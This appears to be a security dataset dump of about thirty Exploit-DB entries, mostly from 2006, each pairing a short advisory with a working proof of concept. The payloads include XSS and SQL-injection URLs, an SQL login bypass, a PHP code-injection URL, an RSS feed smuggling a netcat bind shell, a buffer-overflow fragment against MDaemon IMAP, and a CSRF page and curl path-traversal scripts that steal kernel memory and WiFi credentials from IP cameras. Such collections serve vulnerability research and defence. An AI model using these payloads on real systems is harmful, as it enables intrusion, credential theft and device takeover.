QLWD/code_shield huggingface dataset:
标题: TikiWiki 1.9 - 'tiki-lastchanges.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27917 CVE: 2006-2635 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18143/info

TikiWiki is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/tiki/tiki-lastchanges.php?days="><scr<script>ipt>[code]</scr</script>ipt>> URL: https://www.exploit-db.com/exploits/27917
标题: D-Link Airspot DSA-3100 Gateway - 'Login_error.SHTML' Cross-Site Scripting EDB-ID: 27923 CVE: 2006-2653 类型: REMOTE 平台: HARDWARE 发布日期: 2006-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/18168/info

The D-Link Airspot DSA-3100 Gateway device is prone to a cross-site scripting vulnerability. This issue is due to a failure to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/login_error .shtml?uname=%3CBODY%20ONLOAD =alert(&#039;www.eazel.es&#039;)%3E URL: https://www.exploit-db.com/exploits/27923
标题: ASPBB 0.5.2 - 'Perform_search.asp' Cross-Site Scripting EDB-ID: 27918 CVE: 2006-2648 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18146/info

ASPBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects ASPBB 0.5.2; other versions may also be vulnerable.

http://www.example.com/perform_search.asp?order1=1&order2=1&search="><script>alert(String.fromCharCode(34,115,115,34));</script>1 URL: https://www.exploit-db.com/exploits/27918
标题: EVA-Web 2.1.2 - 'rubrique.php3?date' Cross-Site Scripting EDB-ID: 27921 CVE: 2006-2689 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/18161/info
 
EVA-Web is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These vulnerabilities are reported to affect versions 2.1.2 and earlier.

http://www.example.com/rubrique.php3?id_rubrique=29&date=[XSS] URL: https://www.exploit-db.com/exploits/27921
标题: EVA-Web 2.1.2 - 'article-album.php3?debut_image' Cross-Site Scripting EDB-ID: 27920 CVE: 2006-2689 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/18161/info

EVA-Web is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These vulnerabilities are reported to affect versions 2.1.2 and earlier.

http://www.example.com/article-album.php3?id_article=39&debut_image=[XSS] URL: https://www.exploit-db.com/exploits/27920
标题: Geeklog 1.4 - Multiple Input Validation Vulnerabilities EDB-ID: 27919 CVE: 2006-2699 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/18154/info

Geeklog is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Geeklog version 1.4.0sr2 is vulnerable; other versions may also be affected.

http://www.example.com/geeklog/getimage.php?mode=show&image=./<IMG%20SRC=JaVaScRiPt:alert(document.cookie)> URL: https://www.exploit-db.com/exploits/27919
标题: Alt-N MDaemon 2-8 - IMAP Remote Buffer Overflow EDB-ID: 27914 CVE: 2006-2646 类型: DOS 平台: WINDOWS 发布日期: 2006-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18129/info

Alt-N MDaemon IMAP Server is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue allows remote, unauthenticated attackers to execute arbitrary machine code in the context of affected servers. This facilitates the complete compromise of affected computers.

Specific information regarding affected versions is not currently available. This BID will be updated as further information is disclosed.

UPDATE: The reporter of this issue states that this issue may not be exploitable. This BID may be retired in the future.

$where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
#$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
$what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfcb9A
 
$nops = "A" x 100;
$a = $nops . $shellcode . ("Z" x (0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x (0x184AC - 0x200A - 12));
print $sock "a001 \"$a\r\n";
close($sock); URL: https://www.exploit-db.com/exploits/27914
标题: Photoalbum B&W 1.3 - 'index.php' Cross-Site Scripting EDB-ID: 27916 CVE: 2006-2728 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18142/info

Photoalbum B&W is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Photoalbum B&W version 1.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/index.php?pic=[XSS] URL: https://www.exploit-db.com/exploits/27916
标题: Chipmunk Directory - 'index.php' Cross-Site Scripting EDB-ID: 27909 CVE: 2006-7042 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/18119/info

Chipmunk Directory is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/directory/index.php?catid=catid&start=[XSS] URL: https://www.exploit-db.com/exploits/27909
标题: Prodder 0.4 - Arbitrary Shell Command Execution EDB-ID: 27902 CVE: 2006-2548 类型: REMOTE 平台: LINUX 发布日期: 2006-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/18068/info

Prodder is prone to an arbitrary command-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary shell commands on the vulnerable computer in the context of the running application.

<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl"?> <rss version="2.0"> <channel> <title>RedTeam Pentesting Example Malicious Server Feed</title> <item> <enclosure url="http://www.example.com/example.mp3'; nc -e /bin/sh -l -p 1337 & ';#'" length="241734" type="audio/mpeg" /> </item> </channel> </rss> URL: https://www.exploit-db.com/exploits/27902
标题: Dia 0.8x/0.9x - Filename Remote Format String EDB-ID: 27903 CVE: 2006-2480 类型: DOS 平台: LINUX 发布日期: 2006-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/18078/info

Dia is prone to a remote format-string vulnerability. 

This issue arises when the application handles specially crafted filenames. An attacker can exploit this vulnerability by crafting a malicious filename that contains format specifiers and then coercing unsuspecting users to open the malicious file with the affected application.

A successful attack may crash the application or lead to arbitrary code execution. 

This issue affects Dia versions 0.95 and earlier.

The following filename is sufficient to demonstrate this issue:
%p%p%p%p.bmp URL: https://www.exploit-db.com/exploits/27903
标题: Mini-NUKE 2.3 - 'Your_Account.asp' Multiple SQL Injections EDB-ID: 27913 CVE: 2006-2732 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/18126/info

Mini-NUKE is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

Successful exploits could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/mndir/enter.asp?gguvenlik=1&guvenlik=1&kuladi=victim&password=pass
http://www.example.com/mndir/Your_Account.asp?op=RegTheme&theme=default&#039;,seviye=&#039;1 URL: https://www.exploit-db.com/exploits/27913
标题: JemWeb DownloadControl 1.0 - 'DC.php' SQL Injection EDB-ID: 27899 CVE: 2006-2552 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18041/info

DownloadControl is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

DownloadControl 1.0 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/dc.php?dcid=80477172' URL: https://www.exploit-db.com/exploits/27899
标题: Artmedic NewsLetter 4.1 - 'Log.php' Remote Script Execution EDB-ID: 27900 CVE: 2006-2608 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18047/info

Artmedic Newsletter is prone to a remote PHP code-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to create files containing arbitrary content that can include arbitrary malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. Attackers may also remove arbitrary log files, assisting them in obscuring their actions.

Version 4.1 of the software is vulnerable to this issue; other versions may also be affected.

http://www.example.com/log.php?logfile=info.php&logtime=000060&email=<?%20require($cur);%20echo%20$password%20?> http://www.example.com/log.php?logfile=info.php&logtime=000000 URL: https://www.exploit-db.com/exploits/27900
标题: CodeAvalanche News 1.2 - 'default.asp' SQL Injection EDB-ID: 27898 CVE: 2006-2499 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18031/info

CodeAvalanche News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. An attacker can disclose the administrative authentication credentials by exploiting this issue.

CodeAvalanche News 1.2 is reported to be vulnerable. Other versions may be affected as well.

http://www.exmaple.com/[path_of_application]/CANews/Admin/default.asp?password=1' OR '1' = '1&Submit=Login URL: https://www.exploit-db.com/exploits/27898
标题: obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - 'eventplayer?get_image_info_abspath' Cross-Site Scripting EDB-ID: 27894 CVE: 2006-2490 类型: REMOTE 平台: HARDWARE 发布日期: 2006-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18022/info
  
The Mobotix IP camera is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the device to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/control/eventplayer?get_image_info_abspath=%3CBODY%20ONLOAD=alert(&#039;www.eazel.es&#039;)%3E URL: https://www.exploit-db.com/exploits/27894
标题: ASPBB 0.5.2 - 'profile.asp?get' Cross-Site Scripting EDB-ID: 27897 CVE: 2006-2497 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/18025/info
 
ASPBB is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/profila.asp?get="><script>alert('Xss Vulnerability');</script>&URL=%2FDefault%2Easp%3F URL: https://www.exploit-db.com/exploits/27897
标题: Cosmoshop 8.10.78/8.11.106 - 'Lshop.cgi' SQL Injection EDB-ID: 27895 CVE: 2006-2474 类型: WEBAPPS 平台: CGI 发布日期: 2006-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/18024/info

Cosmoshop is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/cgi-bin/lshop.cgi?action=showdetail&artnum=10[' UNION SELECT OR OTHER SQL]&wkid=2002g&ls=d&nocache= URL: https://www.exploit-db.com/exploits/27895
标题: obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - 'events.tar?source_ip' Cross-Site Scripting EDB-ID: 27893 CVE: 2006-2490 类型: REMOTE 平台: HARDWARE 发布日期: 2006-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18022/info
 
The Mobotix IP camera is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the device to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/control/events.tar?source_ip=%3CBODY%20ONLOAD=alert(&#039;www.eazel.es&#039;)%3E&download=egal URL: https://www.exploit-db.com/exploits/27893
标题: ASPBB 0.5.2 - 'default.asp?action' Cross-Site Scripting EDB-ID: 27896 CVE: 2006-2497 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/18025/info

ASPBB is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/default.asp?action="><script>alert('Xss Vulnerability');</script> URL: https://www.exploit-db.com/exploits/27896
标题: Ipswitch WhatsUp Professional 2006 - Authentication Bypass EDB-ID: 27891 CVE: 2006-2531 类型: REMOTE 平台: HARDWARE 发布日期: 2006-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18019/info

Ipswitch WhatsUp Professional 2006 is susceptible to a remote authentication-bypass vulnerability.

This issue allows remote attackers to gain administrative access to the web-based administrative interface of the application. This will aid them in further network attacks.

The HTTP requests containing the following header information are sufficient to demonstrate this issue:

User-Agent: Ipswitch/1.0
User-Application: NmConsole URL: https://www.exploit-db.com/exploits/27891
标题: BoastMachine 3.1 - 'admin.php' Cross-Site Scripting EDB-ID: 27889 CVE: 2006-2491 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18012/info

BoastMachine is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

BoastMachine 3.1 is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/admin.php/"><script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/27889
标题: SAP Web Application Server 6.x/7.0 - Input Validation EDB-ID: 27887 CVE: 2006-1039 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/18006/info

SAP Web Application Server is prone to an input-validation vulnerability that results in HTTP response-splitting attacks. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

http://sap-was/x.htm;%20HTTP%c0%af1.0%20200%20OK%c0%8d%c0%8aContent-Length:%2035%c0%8d%c0%8aContent-Type:text%c0%afhtml%c0%8d%c0%8a%c0%8d%c0%8a%3Chtml%3e%3cbody%3ehello%3c%c0%afbody%3e%3c%c0%afhtml%3e%c0%8d%c0%8a%c0%8d%c0%8a URL: https://www.exploit-db.com/exploits/27887
标题: Open Wiki 0.78 - 'ow.asp' Cross-Site Scripting EDB-ID: 27890 CVE: 2006-2473 类型: WEBAPPS 平台: ASP 发布日期: 2006-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18013/info

Open Wiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

UPDATE (September 12, 2008): Additional information suggests that this issue may not exist.

Open Wiki 0.78 is reported vulnerable. Other versions may be affected as well.

http://www.example.com/ow.asp?p=[XSS] URL: https://www.exploit-db.com/exploits/27890
标题: Caucho Resin 3.0.17/3.0.18 - Viewfile Information Disclosure EDB-ID: 27888 CVE: 2006-2437 类型: WEBAPPS 平台: JAVA 发布日期: 2006-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/18007/info

Resin is prone to an information-disclosure vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve the contents of arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
http://www.example.com/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class URL: https://www.exploit-db.com/exploits/27888
标题: obotix IP Camera M1 1.9.4 .7/M10 2.0.5.2 - help Script Cross-Site Scripting EDB-ID: 27892 CVE: 2006-2490 类型: REMOTE 平台: HARDWARE 发布日期: 2006-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18022/info

The Mobotix IP camera is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the device to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/help/help?%3CBODY%20ONLOAD=alert(&#039;www.eazel.es&#039;)%3E URL: https://www.exploit-db.com/exploits/27892
标题: Confixx 3.0/3.1 - 'index.php' Cross-Site Scripting EDB-ID: 27884 CVE: 2006-2423 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17984/info

Confixx is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ftplogin/?login=">[XSS]<div style= URL: https://www.exploit-db.com/exploits/27884
标题: Loftek Nexus 543 IP Cameras - Multiple Vulnerabilities EDB-ID: 27878 CVE: 2013-3314 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-08-26 漏洞利用脚本: CSRF:

<HTML><TITLE>Loftek Nexus 543 CSRF PoC</TITLE>
<IMG SRC="http://ip-camera-address/set_users.cgi?next_url=rebootme.htm&user1=admin&pwd1=password&pri1=2&user2=anon&pwd2=password&pri2=0&user3=&pwd3=&pri3=1&user4=&pwd4=&pri4=0&user5=&pwd5=&pri5=0&user6=&pwd6=&pri6=0&user7=&pwd7=&pri7=0&user8=&pwd8=&pri8=0" ALT="Your password has been reset to admin/password">
</HTML>


Memory Dump:

#!/bin/sh
# This script exploits CVE-2013-3311 to retrieve kernel memory from a Loftek Nexus 543 IP camera
# The file which is downloaded can be analyzed (strings) to recover passwords and other goodies


if [[ "$1x" != "x" && "$2x" != "x" ]]; then
 curl http://$1/../proc/kcore -o $2 
 exit
fi
echo "Usage: $0 Nexus-543-IP output_file" 

WiFi Creds:


#!/bin/sh
# This script exploits CVE-2013-3314 to retrieve wifi credentials from a Loftek Nexus 543 IP camera

if [ "$1x" != "x" ]; then
 curl http://$1/../etc/RT2870STA.dat
 exit
fi
echo "Usage: $0 Nexus-543-IP" URL: https://www.exploit-db.com/exploits/27878
标题: PHPODP 1.5 - 'ODP.php' Cross-Site Scripting EDB-ID: 27881 CVE: 2006-2396 类型: WEBAPPS 平台: PHP 发布日期: 2006-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17976/info

phpODP is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


phpODP 1.5h is reported to be vulnerable. Other versions may be affected as well.

http://www.example.com/[path]/odp.php?browse=[code]

http://www.example.com/[path]/odp.php?browse="><script>alert("lol");</script> URL: https://www.exploit-db.com/exploits/27881